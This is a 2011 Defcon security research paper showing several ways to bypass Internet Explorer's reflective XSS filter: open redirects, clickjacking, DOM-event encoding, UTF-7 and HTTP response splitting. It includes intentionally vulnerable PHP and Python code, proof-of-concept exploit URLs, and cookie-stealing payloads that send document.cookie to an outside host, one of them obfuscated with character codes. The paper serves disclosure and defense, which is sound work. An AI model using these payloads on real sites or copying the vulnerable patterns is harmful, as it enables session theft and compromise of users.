Bypassing Internet Explorer's XSS Filter

Michael Brooks (mike (at) sitewat.ch)

Traps Of Gold – Defcon 2011

https://sitewat.ch/

Introduction

By default Internet Explorer 9 has a security system to help prevent Reflective XSS attacks. There are well known shortfalls of this system, most notably that it does not attempt to address DOM based XSS or Stored XSS. This security system is built on an arbitrary philosophy which only accounts for the most straight forward of reflective XSS attacks[1]. This paper is covering three attack patterns that undermine Internet Explorer's ability to prevent Reflective XSS. These are general attack patterns that are independent of Web Application platform.

Attack Theory

This security system draws an arbitrary line which includes only the most straight forward reflective XSS attacks, leaving **everyone** vulnerable to slightly more complex attacks. Making a vulnerability more difficult to exploit doesn't keep people from getting hacked. Time and time again we see that attackers meet the challenge and do whats it required to exploit their target. A good example is ASLR and DEP, attackers don't magically stop writing memory corruption exploits because the system has gotten a little more difficult, they find a way around it. For instance attackers have developed ROP chaining to defeat ASLR. These “catch all” security systems don't solve the root of the problem, they just move the problem around. This creates a “water balloon effect”, where by the exploitable parts of the application bulge out the more a security system tries to clamp down. Historically XSS has been very easy to exploit, but it is becoming more difficult. Soon all browsers will have an XSS filter enabled by default, and this will put more pressure on defeating these systems.

“Trusted” XSS

Before Internet Explorer's Reflective XSS filter processes an outgoing HTTP request it looks at where the request is originating from. The theory is that in order for an attacker to exploit a reflective XSS vulnerability the request must originate from a web site that the attacker controls. So by extension there should be no point in looking at requests that originate from the same domain as this would be a waste of resources. In addition a poorly written application might want to execute JavaScript or render HTML that is provided in a HTTP request. Breaking compatibility with existing software would undermine the usefulness of this security system.

However IE is making an incorrect assumption, XSS *can* come from *anywhere* and there for any reflective XSS vulnerability can become exploitable due to this incorrect assumption. An attacker can trick this system using Unvalidated redirects and forwards OWASP a10[2]. This vulnerability is also called Open Redirect (CWE-601). Not all methods of Open Redirect work for the purpose of creating a “trusted” XSS payload. IE has taken “location:” HTTP header redirects into consideration as well as meta refresh HTML tags. There are however other redirection methods which can be used in an attack.

Now let us assume there is a straight forward XSS vulnerability in our target application found in the xss.php file:

```
<?php
  //xss.php
  print $_GET['var'];
?>
```

Now let us assume that there is also an OWASP a10 violation found in the redir.php file.

```
<?php
  //redir.php
  print “<script>”;
  print “document.location='”.htmlspecialchars($_GET['redir'],ENT_QUOTES).”'”;
  print “</script>”;
?>
```

The Proof of Concept exploit for an application like this is as follows:
http://victim/redir.php?redir=http%3A%2F%2Fvictim%2Fxss.php%3Fvar%3D%253Cscript%253Ealert%2528%2Fxss%2F%2529%253C%2Fscript%253E

This link could originate from anywhere, including a url shorting service. The XSS payload is the “var” GET variable. This part of the PoC has been double url encoded. There for an angled bracket “>” becomes “%253E”. This is encoding fools both the htmlspecialchars() on the server as well as IE's filter. This encoded payload is unaffected by the call to htmlspecialchars() and would behave in the same way with its absence. Due to RFC 1738 all “unsafe” characters such as angle brackets must be urlencoded when they are present in a URL. There for any standards complaint web application platform will account for this RFC and urldecode all user input before it reaches the web application. The request to redir.php will perform a single urldecode and this file writes the payload to the page. The single urlencoded redirection link would have been detected as an XSS payload by Internet Explorer if it had originated from another domain, but it now appears to be originating from the *same domain* and is there for *trusted*.

Here is a short list of JavaScript redirection methods:
document.location=””
location.replace(“”)
window.location.href=””
window.location.replace(“”)

Other “Trusted” XSS Methods

Now lets consider the impact of a simple “<a href=>” controlled by the attacker. This type of behavior is very common in web applications. Consider a Wiki where users contribute links and other content. Or another example is a forum where a user can set a homepage in their profile, or have links contained in a forum post. An application that has this feature *cannot be protected* by IE's XSS filter unless the application also has protection against clickjacking.

Now let us consider the following link is written to a page on the victim's website found on link.php:
 link

In order for this attack to be carried out an victim must click on the attacker's link. To make this trap succeed Clickjacking can be used. Requiring a user to click in order to trigger XSS arises in other attack situations, such as poisoning an onclick DOM event. This attack is called “Eventjacking” which is covered in section 2.2 in the “UI Redressing” paper[3]. Although this attack against IE's XSS filter does not make use of a DOM event in the victim's website, the exploitation method is analogs.

An attacker can create an iframe on a website that he controls:
<iframe src=http://victim/link.php#my_link/>
This iframe is then made invisible using a SVG mask. This invisible iframe can track the user's cursor with javascript. Both of these techniques are covered in the "UI Redressing" paper in sections 2.2.7. and 2.1.5 respectively. As a result whenever the user clicks *anywhere* on the attacker's page, the XSS payload will be executed within the iframe. Internet Explorer believe that the XSS payload is originating from the same domain, thus the XSS payload slips by unmolested by IE's XSS filter.

XSS in DOM Events

Converting unsafe characters to their HTML entities doesn't always protect an application from XSS. A problem arises when HTML encoded output is written within a DOM event. All browsers will first perform an HTML decode prior to evaluating the DOM event. This attack pattern is well known, and is documented in "Its a DOM event"[4]. This is not to be confused with DOM based XSS, which is a vulnerability caused by insecure JavaScript. The irony is that the programmer is trying to prevent XSS by using HTML entities on user input to the server, when in fact this variant of XSS now becomes exploitable despite Internet Explorer's XSS filter.

Let us consider this code which is vulnerable to XSS because of a DOM event. Note that the call to htmlspecialchars **is required** for this attack to bypass IE's filter:

```
<?php
  //event.php
  print "<img src=https://sitewat.ch/UserInterface/images/Sitewatch_logo.png
  onload=\"v='".htmlspecialchars($_GET['event'],ENT_QUOTES)."'; \">";
?>
```

This Proof of Concept behaves as if IE's XSS filter does not exist:
http://victim/event.php?event=%27%2balert%281%29%2b%27

UTF-7 encoded XSS

UTF-7 encoded XSS has a number of interesting properties. UTF-7 encoded XSS is still executable despite HTML Entity encoding because it does not use angle brackets[5]. However, UTF-7 was created for SMTP and Internet Explorer is one of the few browsers that supports the UTF-7 character set. Internet Explorer *requires* that UTF-7 be declared as the character set. In older versions of Internet Explorer the content-type was "sniffed" for, and if a UTF-7 sequence appeared within the first 1400 bytes it would make the page UTF-7. However, this issue has been fixed[6].

Here is an example of this vulnerability. Note that the call to htmlspecialchars is not required, it just demonstrates a problem with UTF-7 encoding.

```
<?php
   //utf7.php
   session_start();
   header('Content-Type: text/html; charset=UTF-7');
   print(htmlspecialchars($_GET['utf7']));
?>
```

This simple PoC is the UTF7 encoded variant of this string:<script>alert(/xss/)</script> and will bypass IE's XSS filter:
Http://victim/utf7.php?utf7=%2BADw-script%2BAD4-alert(/xss/)%2BADsAPA-%2Fscript%2BAD4-

This PoC is incomplete, even though you can execute JavaScript there are other filters at play. Specifically there is a filter looking for the concatenation of the browsers cookie to a string: "+document.cookie+".
This part of IE's filter will cause problems for this payload even though an attacker can execute JavaScript:
document.write("<img src=http://attacker/cookie.php?c="+document.cookie+">");

However we can avoid this sequence of characters in our payload and obtain the victim's cookie despite these restrictions. This type of encoding is not necessary for "trusted" XSS playloads:
http://localhost/utf7.php?utf7=%2BADw-script%2BAD4-document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,115,105,116,101,119,97,116,99,104,47,113,97,47,99,111,111,107,105,101,46,112,104,112,47).concat(document.cookie).concat(String.fromCharCode(20,47,62)))%2BADsAPA-%2Fscript%2BAD4-

UTF-7 + HTTP Response Splitting

Now it is very unlikely that any web application would set their charset UTF-7, after all its not meant for HTTP. However using HTTP response splitting it is possible to change the charset to UTF-7. This following example is using mod_python. It should be noted that PHP has fixed their header() function such that CRLF injection is impossible. Old versions of PHP and Other platforms still suffer from HTTP response splitting.

Let us assume that the victim is running the following code which is vulnerable to HTTP response splitting:

```
#crlf.py
from mod_python import apache
from cgi import escape
from urllib import unquote

def handler(req):
    req.content_type = "text/html"
    url=req.args.split("=",1)[1]
    url=unquote(url)
    req.headers_out.add('test', url )
    req.send_http_header()
    req.write('Hello!')
    return apache.OK
```

Here is the example PoC which leverages this HTTP response splitting vulnerability to obtain XSS.
http://vicitim/crlf.py?url=%0D%0AContent-Type:%20text/html;%20charset=UTF-7%0D%0AContent-Length:%20299%0D%0A%0D%0A%2BADw-script%2BAD4-alert%28/xss/%29%2BADsAPA-%2Fscript%2BAD4-

Here is the corresponding HTTP header to this PoC http response splitting exploit. The part of the HTTP request that is being introduced by this attack is highlighted in blue.

```
HTTP/1.1 200 OK
Date: Thu, 04 Aug 2011 18:51:45 GMT
Server: Apache
test:
Content-Type: text/html; charset=UTF-7
Content-Length: 299

+ADw-script+AD4-alert(/xss/)+ADsAPA-/script+AD4-
Vary: Accept-Encoding
Content-Encoding: gzip
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

16
HW
```

This is proof of exploitable reflective XSS on Internet Explorer. An attacker can still change the character set using HTTP Response Splitting (CWE-113) there by executing the UTF-7 XSS payload above.

Solutions

Every attack discussed in this paper can be patched. The first problem is that no XSS playload should be trusted, it doesn't matter where the request originates from. The NoScript plugin for Firefox also has an XSS filter, and it doesn't have the assumption of "Trusted" XSS. In order to preserve compatibility IE could allow a trusted subset of HTML to be set via HTTP request. The HTML Purifier[7] project is an HTML filter that does this. HTML Purifier has has security problems[8] and this approach has its own hazards. Internet Explorer should check its DOM events for XSS payloads prior to evaluation. Internet Explorer is performing an HTML decode which makes the attacker's payload active, this makes Internet Explorer clearly at fault. The final issue is with UTF-7. To be more like other web browsers Internet Explorer could drop support for UTF-7. After all this encoding method is not meant HTTP. In any case if Internet Explorer keeps support for this encoding method, then it should also protect its self from this avenue of attack instead of ignoring it entirely.

Conclusion

Prior to making this paper public, this was submitted to Microsoft for review. It was determined by Microsoft that these attacks did not conform to Microsoft's security Philosophy and there for will not be fixed. All of the vulnerabilities covered in this paper can be resolved. Five years before the term "Clickjacking" was coined the IE Drag and Drop vulnerability was discovered[9]. This Clickjacking vulnerability allowed an attacker to obtain remote code execution on a fully patched version Internet Explorer. According to the department of homeland security this vulnerability was so serious it received a Severity Metric of 28.12 making it into the top 500 most dangerous vulnerability of all time[10]. Although this vulnerably was trivial to patch it took over **two years** for Microsoft to recognize that it was even a vulnerability. Now 8 years later in 2011, Clickjacking is still being used to undermine security systems found in Internet Explorer, and Microsoft is still unwilling to recognize weaknesses in their software. The neglect of a security system renders it impotent to the ever changing landscape of attacks.

References

[1] David Ross - IE8 XSS Filter design philosophy in-depth.
http://blogs.msdn.com/b/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx
[2] OWASP a10 - https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
[3] Marcus Niemietz - UI Redressing: Attacks and Countermeasures Revisited
http://ui-redressing.mniemietz.de/
[4] Jason Calvert - Its a DOM Event https://blog.whitehatsec.com/its-a-dom-event/
[5] Chris Shiflett - UTF7 XSS http://shiflett.org/blog/2005/dec/google-xss-example
[6] Codepage Sniffing - http://msdn.microsoft.com/en-us/library/dd565635%28v=vs.85%29.aspx
[7] HTML Purifier - http://htmlpurifier.org/
[8] Vulnerabilities in HTML Purifier - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=html+purifier
[9] IE Drag and Drop vulnerability - http://secunia.com/advisories/12321/
[10] Vulnerability Note VU#413886 - http://www.kb.cert.org/vuls/id/413886